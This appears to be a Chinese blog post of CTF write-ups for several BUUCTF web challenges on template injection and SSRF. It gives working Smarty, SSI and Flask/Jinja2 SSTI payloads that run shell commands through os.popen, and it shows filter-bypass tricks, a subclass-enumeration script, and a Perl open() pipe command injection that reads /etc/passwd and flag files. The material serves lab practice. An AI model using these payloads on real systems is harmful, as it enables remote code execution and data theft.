• buu(ssti模板注入、ssrf服务器请求伪造)


    目录

    目录

    [CISCN2019 华东南赛区]Web11

    [BJDCTF2020]EasySearch

    [De1CTF 2019]SSRF Me

    [CSCCTF 2019 Qual]FlaskLight

    模板注入过滤 globals,拼接绕过

    [HITCON 2017]SSRFme

    [RootersCTF2019]I_<3_Flask

    运用Arjun软件,获得传参名字​编辑

    二个方法都可以  lipsum



    [CISCN2019 华东南赛区]Web11

    打开界面,好熟悉可能是做过一道类似的题,是通过ip进行注入的题目

     最下面给出了smarty模板注入

    会随着我的x-Forwarded-for的改变而改变,用if标签

    {if system('cat /flag')}{/if} 

     

    [BJDCTF2020]EasySearch

     打开界面源码,什么都没有发现,试一下万能密码之类的登录,只返回fail

    那么尝试一下扫目录,发现index.php.swp然后访问

    1. ob_start();
    2. function get_hash(){
    3. $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
    4. $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
    5. $content = uniqid().$random;
    6. return sha1($content);
    7. }
    8. header("Content-Type: text/html;charset=utf-8");
    9. ***
    10. if(isset($_POST['username']) and $_POST['username'] != '' )
    11. {
    12. $admin = '6d0bc1';
    13. if ( $admin == substr(md5($_POST['password']),0,6)) {
    14. echo "";
    15. $file_shtml = "public/".get_hash().".shtml";
    16. $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
    17. $text = '
    18. ***
    19. ***
    20. Hello,'.$_POST['username'].'

    21. ***
    22. ***';
    23. fwrite($shtml,$text);
    24. fclose($shtml);
    25. ***
    26. echo "[!] Header error ...";
    27. } else {
    28. echo "";
    29. }else
    30. {
    31. ***
    32. }
    33. ***

    发现页面源码,看完代码,只要密码经过md5加密的前六位6d0bc1相同,便可成功登陆

    那么构建脚本

    1. import hashlib
    2. for i in range(1,100000000000):
    3. md5=hashlib.md5(str(i).encode('utf_8')).hexdigest() //hexdigest十六位的意思
    4. if md5[0:6]=="6d0bc1":
    5. print(str(i)+'$'+md5)

     2020666

     抓包发现一个url访问一下

     

     一般这种界面都存在ssti注入,可能是cxk或者ip那里,

    搜索一下,shtml的信息,补充一下什么是ssi注入,SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml或在界面中发现了

    {$what}

    Welcome, {{username}}

    {%$a%}

    就容易产生ssi注入,此处问题的其注入格式为:
    username=&password=2020666

    [De1CTF 2019]SSRF Me

    打开界面,整理一下python源码,表面是一道ssrf题,其实是一道python flash框架审计题

    1. #! /usr/bin/env python
    2. # #encoding=utf-8
    3. from flask import Flask
    4. from flask import request
    5. import socket
    6. import hashlib
    7. import urllib
    8. import sys
    9. import os
    10. import json
    11. reload(sys)
    12. sys.setdefaultencoding('latin1')
    13. app = Flask(__name__)
    14. secert_key = os.urandom(16)
    15. class Task:
    16. def __init__(self, action, param, sign, ip):
    17. self.action = action
    18. self.param = param
    19. self.sign = sign
    20. self.sandbox = md5(ip)
    21. if(not os.path.exists(self.sandbox)):
    22. os.mkdir(self.sandbox)
    23. def Exec(self):
    24. result = {}
    25. result['code'] = 500
    26. if (self.checkSign()):
    27. if "scan" in self.action:
    28. tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
    29. resp = scan(self.param)
    30. if (resp == "Connection Timeout"):
    31. result['data'] = resp
    32. else:
    33. print resp
    34. tmpfile.write(resp)
    35. tmpfile.close()
    36. result['code'] = 200
    37. if "read" in self.action:
    38. f = open("./%s/result.txt" % self.sandbox, 'r')
    39. result['code'] = 200
    40. result['data'] = f.read()
    41. if result['code'] == 500:
    42. result['data'] = "Action Error"
    43. else:
    44. result['code'] = 500
    45. result['msg'] = "Sign Error"
    46. return result
    47. def checkSign(self):
    48. if (getSign(self.action, self.param) == self.sign):
    49. return True
    50. else:
    51. return False
    52. @app.route("/geneSign", methods=['GET', 'POST'])
    53. def geneSign():
    54. param = urllib.unquote(request.args.get("param", ""))
    55. action = "scan"
    56. return getSign(action, param)
    57. @app.route('/De1ta',methods=['GET','POST'])
    58. def challenge():
    59. action = urllib.unquote(request.cookies.get("action"))
    60. param = urllib.unquote(request.args.get("param", ""))
    61. sign = urllib.unquote(request.cookies.get("sign"))
    62. ip = request.remote_addr
    63. if(waf(param)):
    64. return "No Hacker!!!!"
    65. task = Task(action, param, sign, ip)
    66. return json.dumps(task.Exec())
    67. @app.route('/')
    68. def index():
    69. return open("code.txt","r").read()
    70. def scan(param):
    71. socket.setdefaulttimeout(1)
    72. try:
    73. return urllib.urlopen(param).read()[:50]
    74. except:
    75. return "Connection Timeout"
    76. def getSign(action, param):
    77. return hashlib.md5(secert_key + param + action).hexdigest()
    78. def md5(content):
    79. return hashlib.md5(content).hexdigest()
    80. def waf(param):
    81. check=param.strip().lower()
    82. if check.startswith("gopher") or check.startswith("file"):
    83. return True
    84. else:
    85. return False
    86. if __name__ == '__main__':
    87. app.debug = False
    88. app.run(host='0.0.0.0',port=9999)

    首先有三个路由选择的路径

    @app.route("/geneSign", methods=['GET', 'POST'])

    @app.route('/De1ta',methods=['GET','POST'])

    @app.route('/')

     我们一个个看功能, 

    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
        param = urllib.unquote(request.args.get("param", ""))
        action = "scan"
        return getSign(action, param)

    这里get传参一个param值和action一起进入getSign函数

    def getSign(action, param):
        return hashlib.md5(secert_key + param + action).hexdigest()

    getSign,功能是返回一个   secert_key +param+action    md5加密十六位的值,里面secertkey不确定,param是get传参进去可修改,action其实就是‘scan’字符串

    @app.route('/De1ta',methods=['GET','POST'])
    def challenge():
        action = urllib.unquote(request.cookies.get("action"))
        param = urllib.unquote(request.args.get("param", ""))
        sign = urllib.unquote(request.cookies.get("sign"))
        ip = request.remote_addr
        if(waf(param)):
            return "No Hacker!!!!"
        task = Task(action, param, sign, ip)
        return json.dumps(task.Exec())

    这个De1ta路由时核心重点,action和sign时通过cookie确定,param依然是get传参,ip还是本地ip,waf函数看一下功能

    def waf(param):
        check=param.strip().lower()
        if check.startswith("gopher") or check.startswith("file"):
            return True
        else:
            return False 

    strip去掉首位空格,lower小写,startswitch()匹配字符串第一个是否为参数中的值 ,等于过滤了gopher和file协议

    task = Task(action, param, sign, ip)
        return json.dumps(task.Exec())继续看这里,task实例化对象,调用exec函数

    def Exec(self):
            result = {}
            result['code'] = 500
            if (self.checkSign()):
                if "scan" in self.action:
                    tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                    resp = scan(self.param)
                    if (resp == "Connection Timeout"):
                        result['data'] = resp
                    else:
                        print resp
                        tmpfile.write(resp)
                        tmpfile.close()
                    result['code'] = 200
                if "read" in self.action:
                    f = open("./%s/result.txt" % self.sandbox, 'r')
                    result['code'] = 200
                    result['data'] = f.read()
                if result['code'] == 500:
                    result['data'] = "Action Error"
            else:
                result['code'] = 500
                result['msg'] = "Sign Error"
            return result

    直接看Exec第一步需要绕过self.checkSign,

    def checkSign(self):
            if (getSign(self.action, self.param) == self.sign):
                return True
            else:
                return False

     看见调用函数getSign和sign值,相同就可以,然后getsign时返回一个md5加密后的值

    def getSign(action, param):
        return hashlib.md5(secert_key + param + action).hexdigest()

    继续往下看, 

    if "scan" in self.action:

     if "read" in self.action:

    这里我们大致就可以猜出,action中的值时scanread 或者readscan这样就可以执行下面的函数

    resp = scan(self.param)

    def scan(param):
        socket.setdefaulttimeout(1)
        try:
            return urllib.urlopen(param).read()[:50]
        except:
            return "Connection Timeout"

    就可以读取文件,题目中给出了flag在./flag.txt文件中,param的值,一定是/flag.txt

    到这分析结束,我们只要绕过checkSign,让返回的值相同就可以了,可是secret这个密钥我们不知道值呀,仔细看第一个目录就可以明白

    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
        param = urllib.unquote(request.args.get("param", ""))
        action = "scan"
        return getSign(action, param)

    def getSign(action, param):
        return hashlib.md5(secert_key + param + action).hexdigest()

    action赋值了scan,我们第二个关键目录中的action的值肯定是 readscan或者scanread

    而这里 (secert_key + param + ‘scan’)  param里面肯定是flag的位置上面和下面就差一个read,我们完全可以 param传参flag.txtread就可以获得值了

    记住是在/geneSign   url下面

    响应码500,服务器端错误,还以为我错了,然后直接打出cookie,正确欧克 

     action赋值readscan,那是因为要和上面一致,所以不用scanread,终于做出来了,不容易!!!

    [CSCCTF 2019 Qual]FlaskLight

    模板注入过滤 globals,拼接绕过

    看题目感觉是一道flask模板注入的题

    查看源码

    然后通过get方法上传search

    确定这是一道模板注入,然后寻找可利用的类

    1. #查找可以利用的类
    2. import requests
    3. import time
    4. # 可利用类的字典
    5. list = ["site._Printer", "site.Quitter", "warnings.catch_warnings", "os._wrap_close", "popen", "Popen"]
    6. for i in range(0, 1000):
    7. url = "http://10a6d289-f0c8-4c5b-8184-9d5e0db669ce.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
    8. time.sleep(0.1)
    9. r = requests.get(url)
    10. # print(res)
    11. # print(r.text)
    12. # print(r.text)
    13. for j in list:
    14. if j in r.text:
    15. print(i)
    16. print(j)
    17. break

     

    例一:warnings.catch_warnings 

     首先利用第一个类

    {{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

    因为globals报错,500,所以改为字符串链接, 

    例二:
    class’site._Printer’类

    {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

     发现flasklight,没有flag那么应该在这里面,获得flag

    {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

    [HITCON 2017]SSRFme

    1. ?php
    2. if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { //获得ip地址
    3. $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    4. //explode就是当中,分割为部分
    5. $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    6. }
    7. echo $_SERVER["REMOTE_ADDR"]; 其实这个也是一个ip地址的表达方式
    8. $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    9. //建立一个沙箱地址为/sandbox,然后以orange和ip地址的md5进行链接
    10. @mkdir($sandbox);
    11. @chdir($sandbox);
    12. $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    13. //使用get传入一个参数但是需要进行escapeshellarg过滤
    14. $info = pathinfo($_GET["filename"]); 不包含后缀的文件名
    15. $dir = str_replace(".", "", basename($info["dirname"])); 目录路径
    16. //就是禁止使用../因为替换掉了.
    17. dirname获得文件名
    18. @mkdir($dir);
    19. @chdir($dir);
    20. @file_put_contents(basename($info["basename"]), $data);
    21. 往文件中填入 data
    22. highlight_file(__FILE__);

    这里需要了解一下PHP pathinfo() 函数

    • [dirname]: 目录路径
    • [basename]: 文件名
    • [extension]: 文件后缀名
    • [filename]: 不包含后缀的文件名

     这道题也是获得了一个知识点即get中的open函数漏洞

    当我们使用

    open函数在GET命令被调用时执行,也就是第五行执行GET命令时,perl语言会调用open命令,漏洞就存在于open命令对于文件的处理上,关于这个漏洞,perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。

    因此,我们可以构造这样的payload:
    首先:
    url=【任意】&filename=cat /flag|

    但前提是我们存在这样一个执行命令的文件
    如下所示: 

     然后MD5(orange+ip)

    然后通过目录 进行文件的访问,发现构建文件成功

    然后就可以通过命令写入文件

    ?url=cat /flag|&filename=123.txt

    /sandbox/2eeed2f9aeae6311b507ada8fb98809e/cat%20/flag%7C

    呃呃呃呃呃呃,接下来需要反弹技术了 我赶紧去学

    首先我们可以查看系统文件输出到文件中

    1. http://117.50.3.97:8004/?url=/etc/passwd&filename=111 //默认配置文件目录
    2. http://117.50.3.97:8004/sandbox/9872edb0e32d04659381b860b130a2b7/111 然后访问该目录

    然后读取根目录,可以看到flag文件和readflag文件

     看到有flag文件和readflag文件,原题是直接可以读取flag,在buu上要通过运行readflag读取文件,所以我们继续往下分析。

    2.创建与命令执行相同的文件。

    /?url=file:bash -c /readflag|&filename=bash -c /readflag|

    这样我们就创造了一个与命令相同的文件

    因为由open漏洞的原理,我们使用file:协议然后运行到|就可以执行了

    bash -c其实意义就是执行后面的

    3.修改存储的文件,并读取flag输入到存储的文件中去。直接rce。


    /?url=file:bash -c /readflag|&filename=1455

    [RootersCTF2019]I_<3_Flask

    运用Arjun软件,获得传参名字

     打开界面,看题目肯定是一个模板注入,所以肯定需要注入点

     - m指定方法   -c 控制参数大小

    发现名字是get传参,name

    {{''.__class__.__bases__[0].__subclasses__()}}查看子模块

    1. all_list = ", , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , "
    2. all_list = all_list.split(', ')
    3. for i in range(len(all_list)):
    4. if 'os' in all_list[i]:
    5. print('{} {}'.format(i, all_list[i]))

    {{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

    看到flag.txt 然后 cat flag.txt 获得flag ,没有任何的过滤

    二个方法都可以  lipsum

    接下来直接利用flask的一个方法:lipsum

    可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

    然后构建payload:/?name={{lipsum.__globals__['os'].popen('ls').read()}}
     

  • 相关阅读:
    R语言ggplot2可视化:使用ggpubr包的ggpaired函数可视化配对数据(可视化箱图并使用线段连接配对的数据点)
    【数据结构与算法】之深入解析“圆形靶内的最大飞镖数量”的求解思路与算法示例
    跟着官方学电机,BLDC两种控制策略,学到即赚到
    【故障诊断分析】FFT轴承故障诊断(包络谱)【含Matlab源码 2002期】
    【vue】0到1的常规vue3项目起步
    吃透『MySQL』系列,手把手解析相关问题
    阿里云崩了,总结我们从云上搬到线下经历了什么
    面试-Redis-缓存雪崩
    记录一次项目依赖升级
    Linux磁盘分区中物理卷(PV)、卷组(VG)、逻辑卷(LV)创建和(LVM)管理
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/126378895